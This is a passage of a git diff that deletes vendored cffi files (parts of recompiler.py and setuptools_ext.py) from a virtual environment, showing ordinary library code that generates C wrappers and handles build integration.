*)&%s, _cffi_type(%d))' % ( - var, self._gettypenum(tp)) - elif isinstance(tp, model.EnumType): - return '_cffi_from_c_deref((char *)&%s, _cffi_type(%d))' % ( - var, self._gettypenum(tp)) - else: - raise NotImplementedError(tp) - - # ---------- - # typedefs - - def _typedef_type(self, tp, name): - return self._global_type(tp, "(*(%s *)0)" % (name,)) - - def _generate_cpy_typedef_collecttype(self, tp, name): - self._do_collect_type(self._typedef_type(tp, name)) - - def _generate_cpy_typedef_decl(self, tp, name): - pass - - def _typedef_ctx(self, tp, name): - type_index = self._typesdict[tp] - self._lsts["typename"].append(TypenameExpr(name, type_index)) - - def _generate_cpy_typedef_ctx(self, tp, name): - tp = self._typedef_type(tp, name) - self._typedef_ctx(tp, name) - if getattr(tp, "origin", None) == "unknown_type": - self._struct_ctx(tp, tp.name, approxname=None) - elif isinstance(tp, model.NamedPointerType): - self._struct_ctx(tp.totype, tp.totype.name, approxname=tp.name, - named_ptr=tp) - - # ---------- - # function declarations - - def _generate_cpy_function_collecttype(self, tp, name): - self._do_collect_type(tp.as_raw_function()) - if tp.ellipsis and not self.target_is_python: - self._do_collect_type(tp) - - def _generate_cpy_function_decl(self, tp, name): - assert not self.target_is_python - assert isinstance(tp, model.FunctionPtrType) - if tp.ellipsis: - # cannot support vararg functions better than this: check for its - # exact type (including the fixed arguments), and build it as a - # constant function pointer (no CPython wrapper) - self._generate_cpy_constant_decl(tp, name) - return - prnt = self._prnt - numargs = len(tp.args) - if numargs == 0: - argname = 'noarg' - elif numargs == 1: - argname = 'arg0' - else: - argname = 'args' - # - # ------------------------------ - # the 'd' version of the function, only for addressof(lib, 'func') - arguments = [] - call_arguments = [] - context = 'argument of %s' % name - for i, type in enumerate(tp.args): - arguments.append(type.get_c_name(' x%d' % i, context)) - call_arguments.append('x%d' % i) - repr_arguments = ', '.join(arguments) - repr_arguments = repr_arguments or 'void' - if tp.abi: - abi = tp.abi + ' ' - else: - abi = '' - name_and_arguments = '%s_cffi_d_%s(%s)' % (abi, name, repr_arguments) - prnt('static %s' % (tp.result.get_c_name(name_and_arguments),)) - prnt('{') - call_arguments = ', '.join(call_arguments) - result_code = 'return ' - if isinstance(tp.result, model.VoidType): - result_code = '' - prnt(' %s%s(%s);' % (result_code, name, call_arguments)) - prnt('}') - # - prnt('#ifndef PYPY_VERSION') # ------------------------------ - # - prnt('static PyObject *') - prnt('_cffi_f_%s(PyObject *self, PyObject *%s)' % (name, argname)) - prnt('{') - # - context = 'argument of %s' % name - for i, type in enumerate(tp.args): - arg = type.get_c_name(' x%d' % i, context) - prnt(' %s;' % arg) - # - localvars = set() - freelines = set() - for type in tp.args: - self._extra_local_variables(type, localvars, freelines) - for decl in sorted(localvars): - prnt(' %s;' % (decl,)) - # - if not isinstance(tp.result, model.VoidType): - result_code = 'result = ' - context = 'result of %s' % name - result_decl = ' %s;' % tp.result.get_c_name(' result', context) - prnt(result_decl) - prnt(' PyObject *pyresult;') - else: - result_decl = None - result_code = '' - # - if len(tp.args) > 1: - rng = range(len(tp.args)) - for i in rng: - prnt(' PyObject *arg%d;' % i) - prnt() - prnt(' if (!PyArg_UnpackTuple(args, "%s", %d, %d, %s))' % ( - name, len(rng), len(rng), - ', '.join(['&arg%d' % i for i in rng]))) - prnt(' return NULL;') - prnt() - # - for i, type in enumerate(tp.args): - self._convert_funcarg_to_c(type, 'arg%d' % i, 'x%d' % i, - 'return NULL') - prnt() - # - prnt(' Py_BEGIN_ALLOW_THREADS') - prnt(' _cffi_restore_errno();') - call_arguments = ['x%d' % i for i in range(len(tp.args))] - call_arguments = ', '.join(call_arguments) - prnt(' { %s%s(%s); }' % (result_code, name, call_arguments)) - prnt(' _cffi_save_errno();') - prnt(' Py_END_ALLOW_THREADS') - prnt() - # - prnt(' (void)self; /* unused */') - if numargs == 0: - prnt(' (void)noarg; /* unused */') - if result_code: - prnt(' pyresult = %s;' % - self._convert_expr_from_c(tp.result, 'result', 'result type')) - for freeline in freelines: - prnt(' ' + freeline) - prnt(' return pyresult;') - else: - for freeline in freelines: - prnt(' ' + freeline) - prnt(' Py_INCREF(Py_None);') - prnt(' return Py_None;') - prnt('}') - # - prnt('#else') # ------------------------------ - # - # the PyPy version: need to replace struct/union arguments with - # pointers, and if the result is a struct/union, insert a first - # arg that is a pointer to the result. We also do that for - # complex args and return type. - def need_indirection(type): - return (isinstance(type, model.StructOrUnion) or - (isinstance(type, model.PrimitiveType) and - type.is_complex_type())) - difference = False - arguments = [] - call_arguments = [] - context = 'argument of %s' % name - for i, type in enumerate(tp.args): - indirection = '' - if need_indirection(type): - indirection = '*' - difference = True - arg = type.get_c_name(' %sx%d' % (indirection, i), context) - arguments.append(arg) - call_arguments.append('%sx%d' % (indirection, i)) - tp_result = tp.result - if need_indirection(tp_result): - context = 'result of %s' % name - arg = tp_result.get_c_name(' *result', context) - arguments.insert(0, arg) - tp_result = model.void_type - result_decl = None - result_code = '*result = ' - difference = True - if difference: - repr_arguments = ', '.join(arguments) - repr_arguments = repr_arguments or 'void' - name_and_arguments = '%s_cffi_f_%s(%s)' % (abi, name, - repr_arguments) - prnt('static %s' % (tp_result.get_c_name(name_and_arguments),)) - prnt('{') - if result_decl: - prnt(result_decl) - call_arguments = ', '.join(call_arguments) - prnt(' { %s%s(%s); }' % (result_code, name, call_arguments)) - if result_decl: - prnt(' return result;') - prnt('}') - else: - prnt('# define _cffi_f_%s _cffi_d_%s' % (name, name)) - # - prnt('#endif') # ------------------------------ - prnt() - - def _generate_cpy_function_ctx(self, tp, name): - if tp.ellipsis and not self.target_is_python: - self._generate_cpy_constant_ctx(tp, name) - return - type_index = self._typesdict[tp.as_raw_function()] - numargs = len(tp.args) - if self.target_is_python: - meth_kind = OP_DLOPEN_FUNC - elif numargs == 0: - meth_kind = OP_CPYTHON_BLTN_N # 'METH_NOARGS' - elif numargs == 1: - meth_kind = OP_CPYTHON_BLTN_O # 'METH_O' - else: - meth_kind = OP_CPYTHON_BLTN_V # 'METH_VARARGS' - self._lsts["global"].append( - GlobalExpr(name, '_cffi_f_%s' % name, - CffiOp(meth_kind, type_index), - size='_cffi_d_%s' % name)) - - # ---------- - # named structs or unions - - def _field_type(self, tp_struct, field_name, tp_field): - if isinstance(tp_field, model.ArrayType): - actual_length = tp_field.length - if actual_length == '...': - ptr_struct_name = tp_struct.get_c_name('*') - actual_length = '_cffi_array_len(((%s)0)->%s)' % ( - ptr_struct_name, field_name) - tp_item = self._field_type(tp_struct, '%s[0]' % field_name, - tp_field.item) - tp_field = model.ArrayType(tp_item, actual_length) - return tp_field - - def _struct_collecttype(self, tp): - self._do_collect_type(tp) - if self.target_is_python: - # also requires nested anon struct/unions in ABI mode, recursively - for fldtype in tp.anonymous_struct_fields(): - self._struct_collecttype(fldtype) - - def _struct_decl(self, tp, cname, approxname): - if tp.fldtypes is None: - return - prnt = self._prnt - checkfuncname = '_cffi_checkfld_%s' % (approxname,) - prnt('_CFFI_UNUSED_FN') - prnt('static void %s(%s *p)' % (checkfuncname, cname)) - prnt('{') - prnt(' /* only to generate compile-time warnings or errors */') - prnt(' (void)p;') - for fname, ftype, fbitsize, fqual in self._enum_fields(tp): - try: - if ftype.is_integer_type() or fbitsize >= 0: - # accept all integers, but complain on float or double - if fname != '': - prnt(" (void)((p->%s) | 0); /* check that '%s.%s' is " - "an integer */" % (fname, cname, fname)) - continue - # only accept exactly the type declared, except that '[]' - # is interpreted as a '*' and so will match any array length. - # (It would also match '*', but that's harder to detect...) - while (isinstance(ftype, model.ArrayType) - and (ftype.length is None or ftype.length == '...')): - ftype = ftype.item - fname = fname + '[0]' - prnt(' { %s = &p->%s; (void)tmp; }' % ( - ftype.get_c_name('*tmp', 'field %r'%fname, quals=fqual), - fname)) - except VerificationError as e: - prnt(' /* %s */' % str(e)) # cannot verify it, ignore - prnt('}') - prnt('struct _cffi_align_%s { char x; %s y; };' % (approxname, cname)) - prnt() - - def _struct_ctx(self, tp, cname, approxname, named_ptr=None): - type_index = self._typesdict[tp] - reason_for_not_expanding = None - flags = [] - if isinstance(tp, model.UnionType): - flags.append("_CFFI_F_UNION") - if tp.fldtypes is None: - flags.append("_CFFI_F_OPAQUE") - reason_for_not_expanding = "opaque" - if (tp not in self.ffi._parser._included_declarations and - (named_ptr is None or - named_ptr not in self.ffi._parser._included_declarations)): - if tp.fldtypes is None: - pass # opaque - elif tp.partial or any(tp.anonymous_struct_fields()): - pass # field layout obtained silently from the C compiler - else: - flags.append("_CFFI_F_CHECK_FIELDS") - if tp.packed: - if tp.packed > 1: - raise NotImplementedError( - "%r is declared with 'pack=%r'; only 0 or 1 are " - "supported in API mode (try to use \"...;\", which " - "does not require a 'pack' declaration)" % - (tp, tp.packed)) - flags.append("_CFFI_F_PACKED") - else: - flags.append("_CFFI_F_EXTERNAL") - reason_for_not_expanding = "external" - flags = '|'.join(flags) or '0' - c_fields = [] - if reason_for_not_expanding is None: - enumfields = list(self._enum_fields(tp)) - for fldname, fldtype, fbitsize, fqual in enumfields: - fldtype = self._field_type(tp, fldname, fldtype) - self._check_not_opaque(fldtype, - "field '%s.%s'" % (tp.name, fldname)) - # cname is None for _add_missing_struct_unions() only - op = OP_NOOP - if fbitsize >= 0: - op = OP_BITFIELD - size = '%d /* bits */' % fbitsize - elif cname is None or ( - isinstance(fldtype, model.ArrayType) and - fldtype.length is None): - size = '(size_t)-1' - else: - size = 'sizeof(((%s)0)->%s)' % ( - tp.get_c_name('*') if named_ptr is None - else named_ptr.name, - fldname) - if cname is None or fbitsize >= 0: - offset = '(size_t)-1' - elif named_ptr is not None: - offset = '(size_t)(((char *)&((%s)4096)->%s) - (char *)4096)' % ( - named_ptr.name, fldname) - else: - offset = 'offsetof(%s, %s)' % (tp.get_c_name(''), fldname) - c_fields.append( - FieldExpr(fldname, offset, size, fbitsize, - CffiOp(op, self._typesdict[fldtype]))) - first_field_index = len(self._lsts["field"]) - self._lsts["field"].extend(c_fields) - # - if cname is None: # unknown name, for _add_missing_struct_unions - size = '(size_t)-2' - align = -2 - comment = "unnamed" - else: - if named_ptr is not None: - size = 'sizeof(*(%s)0)' % (named_ptr.name,) - align = '-1 /* unknown alignment */' - else: - size = 'sizeof(%s)' % (cname,) - align = 'offsetof(struct _cffi_align_%s, y)' % (approxname,) - comment = None - else: - size = '(size_t)-1' - align = -1 - first_field_index = -1 - comment = reason_for_not_expanding - self._lsts["struct_union"].append( - StructUnionExpr(tp.name, type_index, flags, size, align, comment, - first_field_index, c_fields)) - self._seen_struct_unions.add(tp) - - def _check_not_opaque(self, tp, location): - while isinstance(tp, model.ArrayType): - tp = tp.item - if isinstance(tp, model.StructOrUnion) and tp.fldtypes is None: - raise TypeError( - "%s is of an opaque type (not declared in cdef())" % location) - - def _add_missing_struct_unions(self): - # not very nice, but some struct declarations might be missing - # because they don't have any known C name. Check that they are - # not partial (we can't complete or verify them!) and emit them - # anonymously. - lst = list(self._struct_unions.items()) - lst.sort(key=lambda tp_order: tp_order[1]) - for tp, order in lst: - if tp not in self._seen_struct_unions: - if tp.partial: - raise NotImplementedError("internal inconsistency: %r is " - "partial but was not seen at " - "this point" % (tp,)) - if tp.name.startswith('$') and tp.name[1:].isdigit(): - approxname = tp.name[1:] - elif tp.name == '_IO_FILE' and tp.forcename == 'FILE': - approxname = 'FILE' - self._typedef_ctx(tp, 'FILE') - else: - raise NotImplementedError("internal inconsistency: %r" % - (tp,)) - self._struct_ctx(tp, None, approxname) - - def _generate_cpy_struct_collecttype(self, tp, name): - self._struct_collecttype(tp) - _generate_cpy_union_collecttype = _generate_cpy_struct_collecttype - - def _struct_names(self, tp): - cname = tp.get_c_name('') - if ' ' in cname: - return cname, cname.replace(' ', '_') - else: - return cname, '_' + cname - - def _generate_cpy_struct_decl(self, tp, name): - self._struct_decl(tp, *self._struct_names(tp)) - _generate_cpy_union_decl = _generate_cpy_struct_decl - - def _generate_cpy_struct_ctx(self, tp, name): - self._struct_ctx(tp, *self._struct_names(tp)) - _generate_cpy_union_ctx = _generate_cpy_struct_ctx - - # ---------- - # 'anonymous' declarations. These are produced for anonymous structs - # or unions; the 'name' is obtained by a typedef. - - def _generate_cpy_anonymous_collecttype(self, tp, name): - if isinstance(tp, model.EnumType): - self._generate_cpy_enum_collecttype(tp, name) - else: - self._struct_collecttype(tp) - - def _generate_cpy_anonymous_decl(self, tp, name): - if isinstance(tp, model.EnumType): - self._generate_cpy_enum_decl(tp) - else: - self._struct_decl(tp, name, 'typedef_' + name) - - def _generate_cpy_anonymous_ctx(self, tp, name): - if isinstance(tp, model.EnumType): - self._enum_ctx(tp, name) - else: - self._struct_ctx(tp, name, 'typedef_' + name) - - # ---------- - # constants, declared with "static const ..." - - def _generate_cpy_const(self, is_int, name, tp=None, category='const', - check_value=None): - if (category, name) in self._seen_constants: - raise VerificationError( - "duplicate declaration of %s '%s'" % (category, name)) - self._seen_constants.add((category, name)) - # - prnt = self._prnt - funcname = '_cffi_%s_%s' % (category, name) - if is_int: - prnt('static int %s(unsigned long long *o)' % funcname) - prnt('{') - prnt(' int n = (%s) <= 0;' % (name,)) - prnt(' *o = (unsigned long long)((%s) | 0);' - ' /* check that %s is an integer */' % (name, name)) - if check_value is not None: - if check_value > 0: - check_value = '%dU' % (check_value,) - prnt(' if (!_cffi_check_int(*o, n, %s))' % (check_value,)) - prnt(' n |= 2;') - prnt(' return n;') - prnt('}') - else: - assert check_value is None - prnt('static void %s(char *o)' % funcname) - prnt('{') - prnt(' *(%s)o = %s;' % (tp.get_c_name('*'), name)) - prnt('}') - prnt() - - def _generate_cpy_constant_collecttype(self, tp, name): - is_int = tp.is_integer_type() - if not is_int or self.target_is_python: - self._do_collect_type(tp) - - def _generate_cpy_constant_decl(self, tp, name): - is_int = tp.is_integer_type() - self._generate_cpy_const(is_int, name, tp) - - def _generate_cpy_constant_ctx(self, tp, name): - if not self.target_is_python and tp.is_integer_type(): - type_op = CffiOp(OP_CONSTANT_INT, -1) - else: - if self.target_is_python: - const_kind = OP_DLOPEN_CONST - else: - const_kind = OP_CONSTANT - type_index = self._typesdict[tp] - type_op = CffiOp(const_kind, type_index) - self._lsts["global"].append( - GlobalExpr(name, '_cffi_const_%s' % name, type_op)) - - # ---------- - # enums - - def _generate_cpy_enum_collecttype(self, tp, name): - self._do_collect_type(tp) - - def _generate_cpy_enum_decl(self, tp, name=None): - for enumerator in tp.enumerators: - self._generate_cpy_const(True, enumerator) - - def _enum_ctx(self, tp, cname): - type_index = self._typesdict[tp] - type_op = CffiOp(OP_ENUM, -1) - if self.target_is_python: - tp.check_not_partial() - for enumerator, enumvalue in zip(tp.enumerators, tp.enumvalues): - self._lsts["global"].append( - GlobalExpr(enumerator, '_cffi_const_%s' % enumerator, type_op, - check_value=enumvalue)) - # - if cname is not None and '$' not in cname and not self.target_is_python: - size = "sizeof(%s)" % cname - signed = "((%s)-1) <= 0" % cname - else: - basetp = tp.build_baseinttype(self.ffi, []) - size = self.ffi.sizeof(basetp) - signed = int(int(self.ffi.cast(basetp, -1)) < 0) - allenums = ",".join(tp.enumerators) - self._lsts["enum"].append( - EnumExpr(tp.name, type_index, size, signed, allenums)) - - def _generate_cpy_enum_ctx(self, tp, name): - self._enum_ctx(tp, tp._get_c_name()) - - # ---------- - # macros: for now only for integers - - def _generate_cpy_macro_collecttype(self, tp, name): - pass - - def _generate_cpy_macro_decl(self, tp, name): - if tp == '...': - check_value = None - else: - check_value = tp # an integer - self._generate_cpy_const(True, name, check_value=check_value) - - def _generate_cpy_macro_ctx(self, tp, name): - if tp == '...': - if self.target_is_python: - raise VerificationError( - "cannot use the syntax '...' in '#define %s ...' when " - "using the ABI mode" % (name,)) - check_value = None - else: - check_value = tp # an integer - type_op = CffiOp(OP_CONSTANT_INT, -1) - self._lsts["global"].append( - GlobalExpr(name, '_cffi_const_%s' % name, type_op, - check_value=check_value)) - - # ---------- - # global variables - - def _global_type(self, tp, global_name): - if isinstance(tp, model.ArrayType): - actual_length = tp.length - if actual_length == '...': - actual_length = '_cffi_array_len(%s)' % (global_name,) - tp_item = self._global_type(tp.item, '%s[0]' % global_name) - tp = model.ArrayType(tp_item, actual_length) - return tp - - def _generate_cpy_variable_collecttype(self, tp, name): - self._do_collect_type(self._global_type(tp, name)) - - def _generate_cpy_variable_decl(self, tp, name): - prnt = self._prnt - tp = self._global_type(tp, name) - if isinstance(tp, model.ArrayType) and tp.length is None: - tp = tp.item - ampersand = '' - else: - ampersand = '&' - # This code assumes that casts from "tp *" to "void *" is a - # no-op, i.e. a function that returns a "tp *" can be called - # as if it returned a "void *". This should be generally true - # on any modern machine. The only exception to that rule (on - # uncommon architectures, and as far as I can tell) might be - # if 'tp' were a function type, but that is not possible here. - # (If 'tp' is a function _pointer_ type, then casts from "fn_t - # **" to "void *" are again no-ops, as far as I can tell.) - decl = '*_cffi_var_%s(void)' % (name,) - prnt('static ' + tp.get_c_name(decl, quals=self._current_quals)) - prnt('{') - prnt(' return %s(%s);' % (ampersand, name)) - prnt('}') - prnt() - - def _generate_cpy_variable_ctx(self, tp, name): - tp = self._global_type(tp, name) - type_index = self._typesdict[tp] - if self.target_is_python: - op = OP_GLOBAL_VAR - else: - op = OP_GLOBAL_VAR_F - self._lsts["global"].append( - GlobalExpr(name, '_cffi_var_%s' % name, CffiOp(op, type_index))) - - # ---------- - # extern "Python" - - def _generate_cpy_extern_python_collecttype(self, tp, name): - assert isinstance(tp, model.FunctionPtrType) - self._do_collect_type(tp) - _generate_cpy_dllexport_python_collecttype = \ - _generate_cpy_extern_python_plus_c_collecttype = \ - _generate_cpy_extern_python_collecttype - - def _extern_python_decl(self, tp, name, tag_and_space): - prnt = self._prnt - if isinstance(tp.result, model.VoidType): - size_of_result = '0' - else: - context = 'result of %s' % name - size_of_result = '(int)sizeof(%s)' % ( - tp.result.get_c_name('', context),) - prnt('static struct _cffi_externpy_s _cffi_externpy__%s =' % name) - prnt(' { "%s.%s", %s, 0, 0 };' % ( - self.module_name, name, size_of_result)) - prnt() - # - arguments = [] - context = 'argument of %s' % name - for i, type in enumerate(tp.args): - arg = type.get_c_name(' a%d' % i, context) - arguments.append(arg) - # - repr_arguments = ', '.join(arguments) - repr_arguments = repr_arguments or 'void' - name_and_arguments = '%s(%s)' % (name, repr_arguments) - if tp.abi == "__stdcall": - name_and_arguments = '_cffi_stdcall ' + name_and_arguments - # - def may_need_128_bits(tp): - return (isinstance(tp, model.PrimitiveType) and - tp.name == 'long double') - # - size_of_a = max(len(tp.args)*8, 8) - if may_need_128_bits(tp.result): - size_of_a = max(size_of_a, 16) - if isinstance(tp.result, model.StructOrUnion): - size_of_a = 'sizeof(%s) > %d ? sizeof(%s) : %d' % ( - tp.result.get_c_name(''), size_of_a, - tp.result.get_c_name(''), size_of_a) - prnt('%s%s' % (tag_and_space, tp.result.get_c_name(name_and_arguments))) - prnt('{') - prnt(' char a[%s];' % size_of_a) - prnt(' char *p = a;') - for i, type in enumerate(tp.args): - arg = 'a%d' % i - if (isinstance(type, model.StructOrUnion) or - may_need_128_bits(type)): - arg = '&' + arg - type = model.PointerType(type) - prnt(' *(%s)(p + %d) = %s;' % (type.get_c_name('*'), i*8, arg)) - prnt(' _cffi_call_python(&_cffi_externpy__%s, p);' % name) - if not isinstance(tp.result, model.VoidType): - prnt(' return *(%s)p;' % (tp.result.get_c_name('*'),)) - prnt('}') - prnt() - self._num_externpy += 1 - - def _generate_cpy_extern_python_decl(self, tp, name): - self._extern_python_decl(tp, name, 'static ') - - def _generate_cpy_dllexport_python_decl(self, tp, name): - self._extern_python_decl(tp, name, 'CFFI_DLLEXPORT ') - - def _generate_cpy_extern_python_plus_c_decl(self, tp, name): - self._extern_python_decl(tp, name, '') - - def _generate_cpy_extern_python_ctx(self, tp, name): - if self.target_is_python: - raise VerificationError( - "cannot use 'extern \"Python\"' in the ABI mode") - if tp.ellipsis: - raise NotImplementedError("a vararg function is extern \"Python\"") - type_index = self._typesdict[tp] - type_op = CffiOp(OP_EXTERN_PYTHON, type_index) - self._lsts["global"].append( - GlobalExpr(name, '&_cffi_externpy__%s' % name, type_op, name)) - - _generate_cpy_dllexport_python_ctx = \ - _generate_cpy_extern_python_plus_c_ctx = \ - _generate_cpy_extern_python_ctx - - def _print_string_literal_in_array(self, s): - prnt = self._prnt - prnt('// # NB. this is not a string because of a size limit in MSVC') - if not isinstance(s, bytes): # unicode - s = s.encode('utf-8') # -> bytes - else: - s.decode('utf-8') # got bytes, check for valid utf-8 - for line in s.splitlines(True): - comment = line - if type('//') is bytes: # python2 - line = map(ord, line) # make a list of integers - else: # python3 - # type(line) is bytes, which enumerates like a list of integers - comment = ascii(comment)[1:-1] - prnt(('// ' + comment).rstrip()) - printed_line = '' - for c in line: - if len(printed_line) >= 76: - prnt(printed_line) - printed_line = '' - printed_line += '%d,' % (c,) - prnt(printed_line) - - # ---------- - # emitting the opcodes for individual types - - def _emit_bytecode_VoidType(self, tp, index): - self.cffi_types[index] = CffiOp(OP_PRIMITIVE, PRIM_VOID) - - def _emit_bytecode_PrimitiveType(self, tp, index): - prim_index = PRIMITIVE_TO_INDEX[tp.name] - self.cffi_types[index] = CffiOp(OP_PRIMITIVE, prim_index) - - def _emit_bytecode_UnknownIntegerType(self, tp, index): - s = ('_cffi_prim_int(sizeof(%s), (\n' - ' ((%s)-1) | 0 /* check that %s is an integer type */\n' - ' ) <= 0)' % (tp.name, tp.name, tp.name)) - self.cffi_types[index] = CffiOp(OP_PRIMITIVE, s) - - def _emit_bytecode_UnknownFloatType(self, tp, index): - s = ('_cffi_prim_float(sizeof(%s) *\n' - ' (((%s)1) / 2) * 2 /* integer => 0, float => 1 */\n' - ' )' % (tp.name, tp.name)) - self.cffi_types[index] = CffiOp(OP_PRIMITIVE, s) - - def _emit_bytecode_RawFunctionType(self, tp, index): - self.cffi_types[index] = CffiOp(OP_FUNCTION, self._typesdict[tp.result]) - index += 1 - for tp1 in tp.args: - realindex = self._typesdict[tp1] - if index != realindex: - if isinstance(tp1, model.PrimitiveType): - self._emit_bytecode_PrimitiveType(tp1, index) - else: - self.cffi_types[index] = CffiOp(OP_NOOP, realindex) - index += 1 - flags = int(tp.ellipsis) - if tp.abi is not None: - if tp.abi == '__stdcall': - flags |= 2 - else: - raise NotImplementedError("abi=%r" % (tp.abi,)) - self.cffi_types[index] = CffiOp(OP_FUNCTION_END, flags) - - def _emit_bytecode_PointerType(self, tp, index): - self.cffi_types[index] = CffiOp(OP_POINTER, self._typesdict[tp.totype]) - - _emit_bytecode_ConstPointerType = _emit_bytecode_PointerType - _emit_bytecode_NamedPointerType = _emit_bytecode_PointerType - - def _emit_bytecode_FunctionPtrType(self, tp, index): - raw = tp.as_raw_function() - self.cffi_types[index] = CffiOp(OP_POINTER, self._typesdict[raw]) - - def _emit_bytecode_ArrayType(self, tp, index): - item_index = self._typesdict[tp.item] - if tp.length is None: - self.cffi_types[index] = CffiOp(OP_OPEN_ARRAY, item_index) - elif tp.length == '...': - raise VerificationError( - "type %s badly placed: the '...' array length can only be " - "used on global arrays or on fields of structures" % ( - str(tp).replace('/*...*/', '...'),)) - else: - assert self.cffi_types[index + 1] == 'LEN' - self.cffi_types[index] = CffiOp(OP_ARRAY, item_index) - self.cffi_types[index + 1] = CffiOp(None, str(tp.length)) - - def _emit_bytecode_StructType(self, tp, index): - struct_index = self._struct_unions[tp] - self.cffi_types[index] = CffiOp(OP_STRUCT_UNION, struct_index) - _emit_bytecode_UnionType = _emit_bytecode_StructType - - def _emit_bytecode_EnumType(self, tp, index): - enum_index = self._enums[tp] - self.cffi_types[index] = CffiOp(OP_ENUM, enum_index) - - -if sys.version_info >= (3,): - NativeIO = io.StringIO -else: - class NativeIO(io.BytesIO): - def write(self, s): - if isinstance(s, unicode): - s = s.encode('ascii') - super().write(s) - -def _is_file_like(maybefile): - # compare to xml.etree.ElementTree._get_writer - return hasattr(maybefile, 'write') - -def _make_c_or_py_source(ffi, module_name, preamble, target_file, verbose): - if verbose: - print("generating %s" % (target_file,)) - recompiler = Recompiler(ffi, module_name, - target_is_python=(preamble is None)) - recompiler.collect_type_table() - recompiler.collect_step_tables() - if _is_file_like(target_file): - recompiler.write_source_to_f(target_file, preamble) - return True - f = NativeIO() - recompiler.write_source_to_f(f, preamble) - output = f.getvalue() - try: - with open(target_file, 'r') as f1: - if f1.read(len(output) + 1) != output: - raise OSError - if verbose: - print("(already up-to-date)") - return False # already up-to-date - except OSError: - tmp_file = '%s.~%d' % (target_file, os.getpid()) - with open(tmp_file, 'w') as f1: - f1.write(output) - try: - os.rename(tmp_file, target_file) - except OSError: - os.unlink(target_file) - os.rename(tmp_file, target_file) - return True - -def make_c_source(ffi, module_name, preamble, target_c_file, verbose=False): - assert preamble is not None - return _make_c_or_py_source(ffi, module_name, preamble, target_c_file, - verbose) - -def make_py_source(ffi, module_name, target_py_file, verbose=False): - return _make_c_or_py_source(ffi, module_name, None, target_py_file, - verbose) - -def _modname_to_file(outputdir, modname, extension): - parts = modname.split('.') - try: - os.makedirs(os.path.join(outputdir, *parts[:-1])) - except OSError: - pass - parts[-1] += extension - return os.path.join(outputdir, *parts), parts - - -# Aaargh. Distutils is not tested at all for the purpose of compiling -# DLLs that are not extension modules. Here are some hacks to work -# around that, in the _patch_for_*() functions... - -def _patch_meth(patchlist, cls, name, new_meth): - old = getattr(cls, name) - patchlist.append((cls, name, old)) - setattr(cls, name, new_meth) - return old - -def _unpatch_meths(patchlist): - for cls, name, old_meth in reversed(patchlist): - setattr(cls, name, old_meth) - -def _patch_for_embedding(patchlist): - if sys.platform == 'win32': - # we must not remove the manifest when building for embedding! - # FUTURE: this module was removed in setuptools 74; this is likely dead code and should be removed, - # since the toolchain it supports (VS2005-2008) is also long dead. - from cffi._shimmed_dist_utils import MSVCCompiler - if MSVCCompiler is not None: - _patch_meth(patchlist, MSVCCompiler, '_remove_visual_c_ref', - lambda self, manifest_file: manifest_file) - - if sys.platform == 'darwin': - # we must not make a '-bundle', but a '-dynamiclib' instead - from cffi._shimmed_dist_utils import CCompiler - def my_link_shared_object(self, *args, **kwds): - if '-bundle' in self.linker_so: - self.linker_so = list(self.linker_so) - i = self.linker_so.index('-bundle') - self.linker_so[i] = '-dynamiclib' - return old_link_shared_object(self, *args, **kwds) - old_link_shared_object = _patch_meth(patchlist, CCompiler, - 'link_shared_object', - my_link_shared_object) - -def _patch_for_target(patchlist, target): - from cffi._shimmed_dist_utils import build_ext - # if 'target' is different from '*', we need to patch some internal - # method to just return this 'target' value, instead of having it - # built from module_name - if target.endswith('.*'): - target = target[:-2] - if sys.platform == 'win32': - target += '.dll' - elif sys.platform == 'darwin': - target += '.dylib' - else: - target += '.so' - _patch_meth(patchlist, build_ext, 'get_ext_filename', - lambda self, ext_name: target) - - -def recompile(ffi, module_name, preamble, tmpdir='.', call_c_compiler=True, - c_file=None, source_extension='.c', extradir=None, - compiler_verbose=1, target=None, debug=None, - uses_ffiplatform=True, **kwds): - if not isinstance(module_name, str): - module_name = module_name.encode('ascii') - if ffi._windows_unicode: - ffi._apply_windows_unicode(kwds) - if preamble is not None: - if call_c_compiler and _is_file_like(c_file): - raise TypeError("Writing to file-like objects is not supported " - "with call_c_compiler=True") - embedding = (ffi._embedding is not None) - if embedding: - ffi._apply_embedding_fix(kwds) - if c_file is None: - c_file, parts = _modname_to_file(tmpdir, module_name, - source_extension) - if extradir: - parts = [extradir] + parts - ext_c_file = os.path.join(*parts) - else: - ext_c_file = c_file - # - if target is None: - if embedding: - target = '%s.*' % module_name - else: - target = '*' - # - if uses_ffiplatform: - ext = ffiplatform.get_extension(ext_c_file, module_name, **kwds) - else: - ext = None - updated = make_c_source(ffi, module_name, preamble, c_file, - verbose=compiler_verbose) - if call_c_compiler: - patchlist = [] - cwd = os.getcwd() - try: - if embedding: - _patch_for_embedding(patchlist) - if target != '*': - _patch_for_target(patchlist, target) - if compiler_verbose: - if tmpdir == '.': - msg = 'the current directory is' - else: - msg = 'setting the current directory to' - print('%s %r' % (msg, os.path.abspath(tmpdir))) - os.chdir(tmpdir) - outputfilename = ffiplatform.compile('.', ext, - compiler_verbose, debug) - finally: - os.chdir(cwd) - _unpatch_meths(patchlist) - return outputfilename - else: - return ext, updated - else: - if c_file is None: - c_file, _ = _modname_to_file(tmpdir, module_name, '.py') - updated = make_py_source(ffi, module_name, c_file, - verbose=compiler_verbose) - if call_c_compiler: - return c_file - else: - return None, updated - diff --git a/venv/Lib/site-packages/cffi/setuptools_ext.py b/venv/Lib/site-packages/cffi/setuptools_ext.py deleted file mode 100644 index 946afb45a6b18c969f92b9a607cdbf73179fea52..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/setuptools_ext.py +++ /dev/null @@ -1,231 +0,0 @@ -import os -import sys -import sysconfig - -try: - basestring -except NameError: - # Python 3.x - basestring = str - -def error(msg): - from cffi._shimmed_dist_utils import DistutilsSetupError - raise DistutilsSetupError(msg) - - -def execfile(filename, glob): - # We use execfile() (here rewritten for Python 3) instead of - # __import__() to load the build script. The problem with - # a normal import is that in some packages, the intermediate - # __init__.py files may already try to import the file that - # we are generating. - with open(filename) as f: - src = f.read() - src += '\n' # Python 2.6 compatibility - code = compile(src, filename, 'exec') - exec(code, glob, glob) - - -def add_cffi_module(dist, mod_spec): - from cffi.api import FFI - - if not isinstance(mod_spec, basestring): - error("argument to 'cffi_modules=...' must be a str or a list of str," - " not %r" % (type(mod_spec).__name__,)) - mod_spec = str(mod_spec) - try: - build_file_name, ffi_var_name = mod_spec.split(':') - except ValueError: - error("%r must be of the form 'path/build.py:ffi_variable'" % - (mod_spec,)) - if not os.path.exists(build_file_name): - ext = '' - rewritten = build_file_name.replace('.', '/') + '.py' - if 